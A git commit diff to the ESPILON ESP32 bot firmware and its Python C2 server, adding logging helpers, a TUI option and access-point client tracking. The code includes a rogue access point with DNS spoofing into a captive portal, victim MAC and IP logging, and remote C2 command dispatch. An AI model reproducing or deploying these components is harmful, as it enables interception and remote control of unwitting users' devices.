ε - TUI multi-pane Textual + camera recording frontend + device naming fix
This commit is contained in:
parent
f2a5b50bfd
commit
ce6f00e24a
6
.gitignore
vendored
6
.gitignore
vendored
@ -43,12 +43,16 @@ tools/c3po/config.json
|
||||
**/config.local.json
|
||||
|
||||
# Logs
|
||||
.avi
|
||||
*.log
|
||||
logs/
|
||||
espilon_bot/logs/
|
||||
sdkconfig
|
||||
|
||||
# C2 Runtime files (camera streams, recordings)
|
||||
tools/c2/static/streams/*.jpg
|
||||
tools/c2/static/recordings/*.avi
|
||||
*.avi
|
||||
|
||||
# IDE and Editor
|
||||
.vscode/
|
||||
!.vscode/settings.json
|
||||
|
||||
@ -4,6 +4,7 @@
|
||||
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static const char *TAG = "COMMAND";
|
||||
|
||||
@ -36,7 +37,45 @@ void command_register(const command_t *cmd)
|
||||
}
|
||||
|
||||
registry[registry_count++] = cmd;
|
||||
ESP_LOGI(TAG, "Registered command: %s", cmd->name);
|
||||
#ifdef CONFIG_ESPILON_LOG_CMD_REG_VERBOSE
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registered command: %s", cmd->name);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Summary
|
||||
* ========================================================= */
|
||||
void command_log_registry_summary(void)
|
||||
{
|
||||
if (registry_count == 0) {
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registered commands: none");
|
||||
return;
|
||||
}
|
||||
|
||||
char buf[512];
|
||||
int off = snprintf(
|
||||
buf,
|
||||
sizeof(buf),
|
||||
"Registered commands (%d): ",
|
||||
(int)registry_count
|
||||
);
|
||||
|
||||
for (size_t i = 0; i < registry_count; i++) {
|
||||
const char *name = registry[i] && registry[i]->name
|
||||
? registry[i]->name : "?";
|
||||
const char *sep = (i == 0) ? "" : ", ";
|
||||
int n = snprintf(buf + off, sizeof(buf) - (size_t)off,
|
||||
"%s%s", sep, name);
|
||||
if (n < 0 || n >= (int)(sizeof(buf) - (size_t)off)) {
|
||||
if (off < (int)sizeof(buf) - 4) {
|
||||
strcpy(buf + (sizeof(buf) - 4), "...");
|
||||
}
|
||||
break;
|
||||
}
|
||||
off += n;
|
||||
}
|
||||
|
||||
ESPILON_LOGI_PURPLE(TAG, "%s", buf);
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
|
||||
@ -39,6 +39,7 @@ typedef struct {
|
||||
* Registry
|
||||
* ============================================================ */
|
||||
void command_register(const command_t *cmd);
|
||||
void command_log_registry_summary(void);
|
||||
|
||||
/* ============================================================
|
||||
* Dispatcher (called by process.c)
|
||||
|
||||
@ -62,7 +62,7 @@ void command_async_init(void)
|
||||
NULL
|
||||
);
|
||||
|
||||
ESP_LOGI(TAG, "Async command system ready");
|
||||
ESPILON_LOGI_PURPLE(TAG, "Async command system ready");
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
|
||||
@ -36,6 +36,7 @@ void wifi_init(void)
|
||||
ESP_ERROR_CHECK(esp_netif_init());
|
||||
ESP_ERROR_CHECK(esp_event_loop_create_default());
|
||||
esp_netif_create_default_wifi_sta();
|
||||
esp_netif_create_default_wifi_ap();
|
||||
|
||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
|
||||
@ -149,4 +150,4 @@ void tcp_client_task(void *pvParameters)
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_NETWORK_WIFI */
|
||||
#endif /* CONFIG_NETWORK_WIFI */
|
||||
|
||||
@ -9,7 +9,7 @@ bool com_init(void)
|
||||
{
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
|
||||
ESP_LOGI(TAG, "Init WiFi backend");
|
||||
ESPILON_LOGI_PURPLE(TAG, "Init WiFi backend");
|
||||
|
||||
wifi_init();
|
||||
|
||||
@ -28,7 +28,7 @@ bool com_init(void)
|
||||
|
||||
#elif defined(CONFIG_NETWORK_GPRS)
|
||||
|
||||
ESP_LOGI(TAG, "Init GPRS backend");
|
||||
ESPILON_LOGI_PURPLE(TAG, "Init GPRS backend");
|
||||
|
||||
setup_uart();
|
||||
setup_modem();
|
||||
|
||||
@ -192,6 +192,7 @@ bool c2_decode_and_exec(const char *frame)
|
||||
free(plain);
|
||||
|
||||
/* 4) Log + dispatch */
|
||||
#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE
|
||||
ESP_LOGI(TAG, "==== C2 COMMAND ====");
|
||||
ESP_LOGI(TAG, "name: %s", cmd.command_name);
|
||||
ESP_LOGI(TAG, "argc: %d", cmd.argv_count);
|
||||
@ -200,6 +201,18 @@ bool c2_decode_and_exec(const char *frame)
|
||||
ESP_LOGI(TAG, "arg[%d]=%s", i, cmd.argv[i]);
|
||||
}
|
||||
ESP_LOGI(TAG, "====================");
|
||||
#else
|
||||
ESP_LOGI(
|
||||
TAG,
|
||||
"C2 CMD: %s argc=%d req=%s",
|
||||
cmd.command_name,
|
||||
cmd.argv_count,
|
||||
cmd.request_id[0] ? cmd.request_id : "-"
|
||||
);
|
||||
for (int i = 0; i < cmd.argv_count; i++) {
|
||||
ESP_LOGD(TAG, "arg[%d]=%s", i, cmd.argv[i]);
|
||||
}
|
||||
#endif
|
||||
|
||||
process_command(&cmd);
|
||||
return true;
|
||||
|
||||
@ -7,6 +7,9 @@ extern "C" {
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdarg.h>
|
||||
#include <inttypes.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "sdkconfig.h"
|
||||
#include "esp_log.h"
|
||||
@ -21,6 +24,36 @@ extern "C" {
|
||||
#define MAX_ARGS 10
|
||||
#define MAX_RESPONSE_SIZE 1024
|
||||
|
||||
/* ============================================================
|
||||
* LOG HELPERS
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_LOG_COLORS
|
||||
#define ESPILON_LOG_PURPLE "\033[0;35m"
|
||||
#define ESPILON_LOG_RESET "\033[0m"
|
||||
#else
|
||||
#define ESPILON_LOG_PURPLE ""
|
||||
#define ESPILON_LOG_RESET ""
|
||||
#endif
|
||||
|
||||
static inline void espilon_log_purple(
|
||||
const char *tag,
|
||||
const char *fmt,
|
||||
...
|
||||
) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
|
||||
printf(ESPILON_LOG_PURPLE "I (%" PRIu32 ") %s: ",
|
||||
(uint32_t)esp_log_timestamp(), tag);
|
||||
vprintf(fmt, args);
|
||||
printf(ESPILON_LOG_RESET "\n");
|
||||
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
#define ESPILON_LOGI_PURPLE(tag, fmt, ...) \
|
||||
espilon_log_purple(tag, fmt, ##__VA_ARGS__)
|
||||
|
||||
/* Socket TCP global */
|
||||
extern int sock;
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
idf_component_register(SRCS "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
|
||||
idf_component_register(SRCS "cmd_fakeAP.c" "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES esp_http_server
|
||||
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core)
|
||||
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core command)
|
||||
@ -17,3 +17,18 @@ void fakeap_mark_authenticated(ip4_addr_t ip);
|
||||
/* Internal use only - exported for mod_web_server.c */
|
||||
extern ip4_addr_t authenticated_clients[MAX_CLIENTS];
|
||||
extern int authenticated_count;
|
||||
|
||||
/* ===== ACCESS POINT ===== */
|
||||
void start_access_point(const char *ssid, const char *password, bool open);
|
||||
void stop_access_point(void);
|
||||
|
||||
/* ===== CAPTIVE PORTAL ===== */
|
||||
void *start_captive_portal(void);
|
||||
void stop_captive_portal(void);
|
||||
|
||||
/* ===== SNIFFER ===== */
|
||||
void start_sniffer(void);
|
||||
void stop_sniffer(void);
|
||||
|
||||
/* ===== CLIENTS ===== */
|
||||
void list_connected_clients(void);
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_netif.h"
|
||||
#include "lwip/lwip_napt.h"
|
||||
#include "esp_event.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
@ -16,6 +16,12 @@
|
||||
#include "utils.h"
|
||||
|
||||
static const char *TAG = "MODULE_FAKE_AP";
|
||||
static esp_netif_t *ap_netif = NULL;
|
||||
static bool ap_event_registered = false;
|
||||
static esp_event_handler_instance_t ap_event_instance_connect;
|
||||
static esp_event_handler_instance_t ap_event_instance_disconnect;
|
||||
static bool ap_ip_event_registered = false;
|
||||
static esp_event_handler_instance_t ap_event_instance_ip;
|
||||
|
||||
/* ================= AUTH ================= */
|
||||
ip4_addr_t authenticated_clients[MAX_CLIENTS]; /* exported for mod_web_server.c */
|
||||
@ -67,6 +73,95 @@ static void fakeap_reset_auth(void)
|
||||
xSemaphoreGive(auth_mutex);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* CLIENTS
|
||||
* ============================================================ */
|
||||
void list_connected_clients(void)
|
||||
{
|
||||
wifi_sta_list_t sta_list;
|
||||
esp_wifi_ap_get_sta_list(&sta_list);
|
||||
|
||||
char buf[512];
|
||||
int off = snprintf(buf, sizeof(buf), "Connected clients: %d\n", sta_list.num);
|
||||
|
||||
for (int i = 0; i < sta_list.num && off < (int)sizeof(buf) - 32; i++) {
|
||||
off += snprintf(buf + off, sizeof(buf) - off,
|
||||
" [%d] %02x:%02x:%02x:%02x:%02x:%02x\n",
|
||||
i + 1,
|
||||
sta_list.sta[i].mac[0], sta_list.sta[i].mac[1],
|
||||
sta_list.sta[i].mac[2], sta_list.sta[i].mac[3],
|
||||
sta_list.sta[i].mac[4], sta_list.sta[i].mac[5]);
|
||||
}
|
||||
|
||||
msg_info(TAG, buf, NULL);
|
||||
}
|
||||
|
||||
static void fakeap_wifi_event_handler(
|
||||
void *arg,
|
||||
esp_event_base_t event_base,
|
||||
int32_t event_id,
|
||||
void *event_data
|
||||
) {
|
||||
if (event_base != WIFI_EVENT) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (event_id == WIFI_EVENT_AP_STACONNECTED) {
|
||||
wifi_event_ap_staconnected_t *e =
|
||||
(wifi_event_ap_staconnected_t *)event_data;
|
||||
char msg[96];
|
||||
snprintf(
|
||||
msg,
|
||||
sizeof(msg),
|
||||
"AP client connected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d)",
|
||||
e->mac[0], e->mac[1], e->mac[2],
|
||||
e->mac[3], e->mac[4], e->mac[5],
|
||||
e->aid
|
||||
);
|
||||
msg_info(TAG, msg, NULL);
|
||||
} else if (event_id == WIFI_EVENT_AP_STADISCONNECTED) {
|
||||
wifi_event_ap_stadisconnected_t *e =
|
||||
(wifi_event_ap_stadisconnected_t *)event_data;
|
||||
char msg[112];
|
||||
snprintf(
|
||||
msg,
|
||||
sizeof(msg),
|
||||
"AP client disconnected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d, reason=%d)",
|
||||
e->mac[0], e->mac[1], e->mac[2],
|
||||
e->mac[3], e->mac[4], e->mac[5],
|
||||
e->aid,
|
||||
e->reason
|
||||
);
|
||||
msg_info(TAG, msg, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
static void fakeap_ip_event_handler(
|
||||
void *arg,
|
||||
esp_event_base_t event_base,
|
||||
int32_t event_id,
|
||||
void *event_data
|
||||
) {
|
||||
if (event_base != IP_EVENT || event_id != IP_EVENT_AP_STAIPASSIGNED) {
|
||||
return;
|
||||
}
|
||||
|
||||
ip_event_ap_staipassigned_t *e =
|
||||
(ip_event_ap_staipassigned_t *)event_data;
|
||||
char msg[128];
|
||||
snprintf(
|
||||
msg,
|
||||
sizeof(msg),
|
||||
"AP client got IP: %02x:%02x:%02x:%02x:%02x:%02x -> "
|
||||
IPSTR,
|
||||
e->mac[0], e->mac[1], e->mac[2],
|
||||
e->mac[3], e->mac[4], e->mac[5],
|
||||
IP2STR(&e->ip)
|
||||
);
|
||||
ESP_LOGI(TAG, "%s", msg);
|
||||
msg_info(TAG, msg, NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* AP
|
||||
* ============================================================ */
|
||||
@ -90,6 +185,40 @@ void start_access_point(const char *ssid, const char *password, bool open)
|
||||
|
||||
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
|
||||
|
||||
if (!ap_event_registered) {
|
||||
ESP_ERROR_CHECK(
|
||||
esp_event_handler_instance_register(
|
||||
WIFI_EVENT,
|
||||
WIFI_EVENT_AP_STACONNECTED,
|
||||
&fakeap_wifi_event_handler,
|
||||
NULL,
|
||||
&ap_event_instance_connect
|
||||
)
|
||||
);
|
||||
ESP_ERROR_CHECK(
|
||||
esp_event_handler_instance_register(
|
||||
WIFI_EVENT,
|
||||
WIFI_EVENT_AP_STADISCONNECTED,
|
||||
&fakeap_wifi_event_handler,
|
||||
NULL,
|
||||
&ap_event_instance_disconnect
|
||||
)
|
||||
);
|
||||
ap_event_registered = true;
|
||||
}
|
||||
if (!ap_ip_event_registered) {
|
||||
ESP_ERROR_CHECK(
|
||||
esp_event_handler_instance_register(
|
||||
IP_EVENT,
|
||||
IP_EVENT_AP_STAIPASSIGNED,
|
||||
&fakeap_ip_event_handler,
|
||||
NULL,
|
||||
&ap_event_instance_ip
|
||||
)
|
||||
);
|
||||
ap_ip_event_registered = true;
|
||||
}
|
||||
|
||||
wifi_config_t cfg = {0};
|
||||
strncpy((char *)cfg.ap.ssid, ssid, sizeof(cfg.ap.ssid));
|
||||
cfg.ap.ssid_len = strlen(ssid);
|
||||
@ -105,21 +234,43 @@ void start_access_point(const char *ssid, const char *password, bool open)
|
||||
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &cfg));
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
|
||||
esp_netif_t *ap = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF");
|
||||
esp_netif_ip_info_t ip;
|
||||
esp_netif_get_ip_info(ap, &ip);
|
||||
if (!ap_netif) {
|
||||
ap_netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF");
|
||||
}
|
||||
if (!ap_netif) {
|
||||
ap_netif = esp_netif_create_default_wifi_ap();
|
||||
}
|
||||
if (!ap_netif) {
|
||||
ESP_LOGE(TAG, "Failed to create AP netif");
|
||||
return;
|
||||
}
|
||||
|
||||
esp_netif_dhcps_stop(ap);
|
||||
esp_netif_ip_info_t ip = {
|
||||
.ip.addr = ESP_IP4TOADDR(192, 168, 4, 1),
|
||||
.gw.addr = ESP_IP4TOADDR(192, 168, 4, 1),
|
||||
.netmask.addr = ESP_IP4TOADDR(255, 255, 255, 0),
|
||||
};
|
||||
|
||||
esp_netif_dhcps_stop(ap_netif);
|
||||
esp_netif_set_ip_info(ap_netif, &ip);
|
||||
esp_netif_dhcps_option(
|
||||
ap,
|
||||
ap_netif,
|
||||
ESP_NETIF_OP_SET,
|
||||
ESP_NETIF_DOMAIN_NAME_SERVER,
|
||||
&ip.ip,
|
||||
sizeof(ip.ip)
|
||||
);
|
||||
esp_netif_dhcps_start(ap);
|
||||
esp_netif_dhcps_start(ap_netif);
|
||||
ESP_LOGI(TAG,
|
||||
"AP IP: " IPSTR " GW: " IPSTR " MASK: " IPSTR,
|
||||
IP2STR(&ip.ip), IP2STR(&ip.gw), IP2STR(&ip.netmask));
|
||||
ESP_LOGI(TAG, "DHCP server started");
|
||||
|
||||
ip_napt_enable(ip.ip.addr, 1);
|
||||
/*
|
||||
* Note: NAPT disabled - causes crashes with lwip mem_free assertion.
|
||||
* FakeAP works without NAPT (no internet sharing to clients).
|
||||
* TODO: Fix NAPT if internet sharing is needed.
|
||||
*/
|
||||
|
||||
dns_param_t *p = calloc(1, sizeof(*p));
|
||||
p->captive_portal = open;
|
||||
@ -198,7 +349,10 @@ void dns_forwarder_task(void *pv)
|
||||
ip4_addr_t ip;
|
||||
ip.addr = cli.sin_addr.s_addr;
|
||||
|
||||
ESP_LOGI(TAG, "DNS query from %s", ip4addr_ntoa(&ip));
|
||||
|
||||
if (captive && !fakeap_is_authenticated(ip)) {
|
||||
ESP_LOGI(TAG, "Spoofing DNS -> %s", CAPTIVE_PORTAL_IP);
|
||||
send_dns_spoof(sock, &cli, l, buf, r, inet_addr(CAPTIVE_PORTAL_IP));
|
||||
continue;
|
||||
}
|
||||
|
||||
@ -76,6 +76,8 @@ static const char *LOGIN_PAGE =
|
||||
* ============================================================ */
|
||||
static esp_err_t captive_portal_handler(httpd_req_t *req)
|
||||
{
|
||||
ESP_LOGI(TAG, "HTTP request received: %s", req->uri);
|
||||
|
||||
struct sockaddr_in addr;
|
||||
socklen_t len = sizeof(addr);
|
||||
|
||||
@ -85,6 +87,7 @@ static esp_err_t captive_portal_handler(httpd_req_t *req)
|
||||
|
||||
ip4_addr_t client_ip;
|
||||
client_ip.addr = addr.sin_addr.s_addr;
|
||||
ESP_LOGI(TAG, "Client IP: %s", ip4addr_ntoa(&client_ip));
|
||||
|
||||
if (is_already_authenticated(client_ip)) {
|
||||
httpd_resp_set_status(req, "302 Found");
|
||||
|
||||
@ -98,18 +98,79 @@ static int cmd_system_uptime(
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: system_info
|
||||
* ============================================================ */
|
||||
static int cmd_system_info(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
esp_chip_info_t chip_info;
|
||||
esp_chip_info(&chip_info);
|
||||
|
||||
uint32_t heap_free = esp_get_free_heap_size();
|
||||
uint64_t uptime_sec = esp_timer_get_time() / 1000000ULL;
|
||||
|
||||
char buf[512];
|
||||
int len = 0;
|
||||
|
||||
len += snprintf(buf + len, sizeof(buf) - len,
|
||||
"chip=%s cores=%d flash=%s heap=%"PRIu32" uptime=%llus modules=",
|
||||
CONFIG_IDF_TARGET,
|
||||
chip_info.cores,
|
||||
(chip_info.features & CHIP_FEATURE_EMB_FLASH) ? "embedded" : "external",
|
||||
heap_free,
|
||||
(unsigned long long)uptime_sec
|
||||
);
|
||||
|
||||
// List loaded modules
|
||||
int first = 1;
|
||||
#ifdef CONFIG_MODULE_NETWORK
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%snetwork", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_MODULE_FAKEAP
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%sfakeap", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_MODULE_RECON
|
||||
#ifdef CONFIG_RECON_MODE_CAMERA
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%scamera", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_RECON_MODE_MLAT
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%smlat", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#endif
|
||||
|
||||
if (first) {
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "none");
|
||||
}
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND REGISTRATION
|
||||
* ============================================================ */
|
||||
static const command_t system_cmds[] = {
|
||||
{ "system_reboot", 0, 0, cmd_system_reboot, NULL, false },
|
||||
{ "system_mem", 0, 0, cmd_system_mem, NULL, false },
|
||||
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false }
|
||||
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false },
|
||||
{ "system_info", 0, 0, cmd_system_info, NULL, false }
|
||||
};
|
||||
|
||||
void mod_system_register_commands(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Registering system commands");
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registering system commands");
|
||||
|
||||
for (size_t i = 0; i < sizeof(system_cmds)/sizeof(system_cmds[0]); i++) {
|
||||
command_register(&system_cmds[i]);
|
||||
|
||||
@ -126,4 +126,52 @@ config CRYPTO_NONCE
|
||||
|
||||
endmenu
|
||||
|
||||
################################################
|
||||
# Logging
|
||||
################################################
|
||||
menu "Logging"
|
||||
|
||||
choice ESPILON_LOG_LEVEL
|
||||
prompt "Default log level"
|
||||
default ESPILON_LOG_LEVEL_INFO
|
||||
|
||||
config ESPILON_LOG_LEVEL_ERROR
|
||||
bool "Error"
|
||||
|
||||
config ESPILON_LOG_LEVEL_WARN
|
||||
bool "Warn"
|
||||
|
||||
config ESPILON_LOG_LEVEL_INFO
|
||||
bool "Info"
|
||||
|
||||
config ESPILON_LOG_LEVEL_DEBUG
|
||||
bool "Debug"
|
||||
|
||||
config ESPILON_LOG_LEVEL_VERBOSE
|
||||
bool "Verbose"
|
||||
|
||||
endchoice
|
||||
|
||||
config ESPILON_LOG_CMD_REG_VERBOSE
|
||||
bool "Verbose command registration logs"
|
||||
default n
|
||||
help
|
||||
If enabled, log each command registration.
|
||||
Otherwise, a single summary line is printed.
|
||||
|
||||
config ESPILON_LOG_C2_VERBOSE
|
||||
bool "Verbose C2 command logs"
|
||||
default n
|
||||
help
|
||||
If enabled, print the full C2 command block
|
||||
(name, argc, request id, args).
|
||||
|
||||
config ESPILON_LOG_BOOT_SUMMARY
|
||||
bool "Show boot summary header"
|
||||
default y
|
||||
help
|
||||
Print a BOOT SUMMARY header at startup.
|
||||
|
||||
endmenu
|
||||
|
||||
endmenu
|
||||
|
||||
@ -27,6 +27,31 @@
|
||||
|
||||
static const char *TAG = "MAIN";
|
||||
|
||||
static esp_log_level_t espilon_log_level_from_kconfig(void)
|
||||
{
|
||||
#if defined(CONFIG_ESPILON_LOG_LEVEL_ERROR)
|
||||
return ESP_LOG_ERROR;
|
||||
#elif defined(CONFIG_ESPILON_LOG_LEVEL_WARN)
|
||||
return ESP_LOG_WARN;
|
||||
#elif defined(CONFIG_ESPILON_LOG_LEVEL_INFO)
|
||||
return ESP_LOG_INFO;
|
||||
#elif defined(CONFIG_ESPILON_LOG_LEVEL_DEBUG)
|
||||
return ESP_LOG_DEBUG;
|
||||
#elif defined(CONFIG_ESPILON_LOG_LEVEL_VERBOSE)
|
||||
return ESP_LOG_VERBOSE;
|
||||
#else
|
||||
return ESP_LOG_INFO;
|
||||
#endif
|
||||
}
|
||||
|
||||
static void espilon_log_init(void)
|
||||
{
|
||||
esp_log_level_set("*", espilon_log_level_from_kconfig());
|
||||
#ifdef CONFIG_ESPILON_LOG_BOOT_SUMMARY
|
||||
ESPILON_LOGI_PURPLE(TAG, "===== BOOT SUMMARY =====");
|
||||
#endif
|
||||
}
|
||||
|
||||
static void init_nvs(void)
|
||||
{
|
||||
esp_err_t ret = nvs_flash_init();
|
||||
@ -40,10 +65,10 @@ static void init_nvs(void)
|
||||
|
||||
void app_main(void)
|
||||
{
|
||||
espilon_log_init();
|
||||
ESP_LOGI(TAG, "Booting system");
|
||||
|
||||
init_nvs();
|
||||
vTaskDelay(pdMS_TO_TICKS(1200));
|
||||
|
||||
/* =====================================================
|
||||
* Command system
|
||||
@ -55,28 +80,31 @@ void app_main(void)
|
||||
/* Register enabled modules */
|
||||
#ifdef CONFIG_MODULE_NETWORK
|
||||
mod_network_register_commands();
|
||||
ESP_LOGI(TAG, "Network module loaded");
|
||||
ESPILON_LOGI_PURPLE(TAG, "Network module loaded");
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_MODULE_FAKEAP
|
||||
mod_fakeap_register_commands();
|
||||
ESP_LOGI(TAG, "FakeAP module loaded");
|
||||
ESPILON_LOGI_PURPLE(TAG, "FakeAP module loaded");
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_MODULE_RECON
|
||||
#ifdef CONFIG_RECON_MODE_CAMERA
|
||||
mod_camera_register_commands();
|
||||
ESP_LOGI(TAG, "Camera module loaded");
|
||||
ESPILON_LOGI_PURPLE(TAG, "Camera module loaded");
|
||||
#endif
|
||||
#ifdef CONFIG_RECON_MODE_MLAT
|
||||
mod_mlat_register_commands();
|
||||
ESP_LOGI(TAG, "MLAT module loaded");
|
||||
ESPILON_LOGI_PURPLE(TAG, "MLAT module loaded");
|
||||
#endif
|
||||
#endif
|
||||
|
||||
command_log_registry_summary();
|
||||
|
||||
/* =====================================================
|
||||
* Network backend
|
||||
* ===================================================== */
|
||||
vTaskDelay(pdMS_TO_TICKS(1200));
|
||||
if (!com_init()) {
|
||||
ESP_LOGE(TAG, "Network backend init failed");
|
||||
return;
|
||||
|
||||
105
tools/c2/c3po.py
105
tools/c2/c3po.py
@ -3,13 +3,8 @@ import socket
|
||||
import threading
|
||||
import re
|
||||
import sys
|
||||
import time # Added missing import
|
||||
|
||||
#!/usr/bin/env python3
|
||||
import socket
|
||||
import threading
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import argparse
|
||||
|
||||
from core.registry import DeviceRegistry
|
||||
from core.transport import Transport
|
||||
@ -19,7 +14,7 @@ from commands.registry import CommandRegistry
|
||||
from commands.reboot import RebootCommand
|
||||
from core.groups import GroupRegistry
|
||||
from utils.constant import HOST, PORT
|
||||
from utils.display import Display # Import Display utility
|
||||
from utils.display import Display
|
||||
|
||||
# Strict base64 validation (ESP sends BASE64 + '\n')
|
||||
BASE64_RE = re.compile(br'^[A-Za-z0-9+/=]+$')
|
||||
@ -88,34 +83,27 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev
|
||||
# Main server
|
||||
# ============================================================
|
||||
def main():
|
||||
# Parse arguments
|
||||
parser = argparse.ArgumentParser(description="C3PO - ESPILON C2 Framework")
|
||||
parser.add_argument("--tui", action="store_true", help="Launch with TUI interface")
|
||||
args = parser.parse_args()
|
||||
|
||||
header = """
|
||||
|
||||
$$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\
|
||||
|
||||
$$$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\
|
||||
$$ _____|$$ __$$\ $$ __$$\ \_$$ _|$$ | $$ __$$\ $$$\ $$ | $$ __$$\ $$ __$$\
|
||||
$$ | $$ / \__|$$ | $$ | $$ | $$ | $$ / $$ |$$$$\ $$ | $$ / \__|\__/ $$ |
|
||||
$$$$$\ \$$$$$$\ $$$$$$$ | $$ | $$ | $$ | $$ |$$ $$\$$ | $$ | $$$$$$ |
|
||||
$$ __| \____$$\ $$ ____/ $$ | $$ | $$ | $$ |$$ \$$$$ | $$ | $$ ____/
|
||||
$$ | $$\ $$ |$$ | $$ | $$ | $$ | $$ |$$ |\$$$ | $$ | $$\ $$ |
|
||||
$$$$$$$$\ \$$$$$$ |$$ | $$$$$$\ $$$$$$$$\ $$$$$$ |$$ | \$$ | \$$$$$$ |$$$$$$$$\
|
||||
\________| \______/ \__| \______|\________|\______/ \__| \__| \______/ \________|
|
||||
|
||||
|
||||
|
||||
$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\
|
||||
$$ __$$\ $$ ___$$\ $$ __$$\ $$ __$$\
|
||||
$$ / \__|\_/ $$ |$$ | $$ |$$ / $$ |
|
||||
$$ | $$$$$ / $$$$$$$ |$$ | $$ |
|
||||
$$ | \___$$\ $$ ____/ $$ | $$ |
|
||||
$$ | $$\ $$\ $$ |$$ | $$ | $$ |
|
||||
\$$$$$$ |\$$$$$$ |$$ | $$$$$$ |
|
||||
\______/ \______/ \__| \______/
|
||||
$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\\
|
||||
$$ __$$\\ $$ ___$$\\ $$ __$$\\ $$ __$$\\
|
||||
$$ / \\__|\_/ $$ |$$ | $$ |$$ / $$ |
|
||||
$$ | $$$$$ / $$$$$$$ |$$ | $$ |
|
||||
$$ | \\___$$\\ $$ ____/ $$ | $$ |
|
||||
$$ | $$\\ $$\\ $$ |$$ | $$ | $$ |
|
||||
\\$$$$$$ |\\$$$$$$ |$$ | $$$$$$ |
|
||||
\\______/ \\______/ \\__| \\______/
|
||||
|
||||
ESPILON C2 Framework - Command and Control Server
|
||||
"""
|
||||
Display.system_message(header)
|
||||
Display.system_message("Initializing ESPILON C2 core...")
|
||||
|
||||
if not args.tui:
|
||||
Display.system_message(header)
|
||||
Display.system_message("Initializing ESPILON C2 core...")
|
||||
|
||||
# ============================
|
||||
# Core components
|
||||
@ -150,7 +138,9 @@ $$ | $$\ $$\ $$ |$$ | $$ | $$ |
|
||||
sys.exit(1)
|
||||
|
||||
server.listen()
|
||||
Display.system_message(f"Server listening on {HOST}:{PORT}")
|
||||
|
||||
if not args.tui:
|
||||
Display.system_message(f"Server listening on {HOST}:{PORT}")
|
||||
|
||||
# Function to periodically check device status
|
||||
def device_status_checker():
|
||||
@ -162,30 +152,51 @@ $$ | $$\ $$\ $$ |$$ | $$ | $$ |
|
||||
device.status = "Inactive"
|
||||
Display.device_event(device.id, "Status changed to Inactive (timeout)")
|
||||
elif device.status == "Inactive" and now - device.last_seen <= DEVICE_TIMEOUT_SECONDS:
|
||||
# If a device that was inactive sends a heartbeat, set it back to Connected
|
||||
device.status = "Connected"
|
||||
Display.device_event(device.id, "Status changed to Connected (heartbeat received)")
|
||||
time.sleep(HEARTBEAT_CHECK_INTERVAL)
|
||||
|
||||
# CLI thread
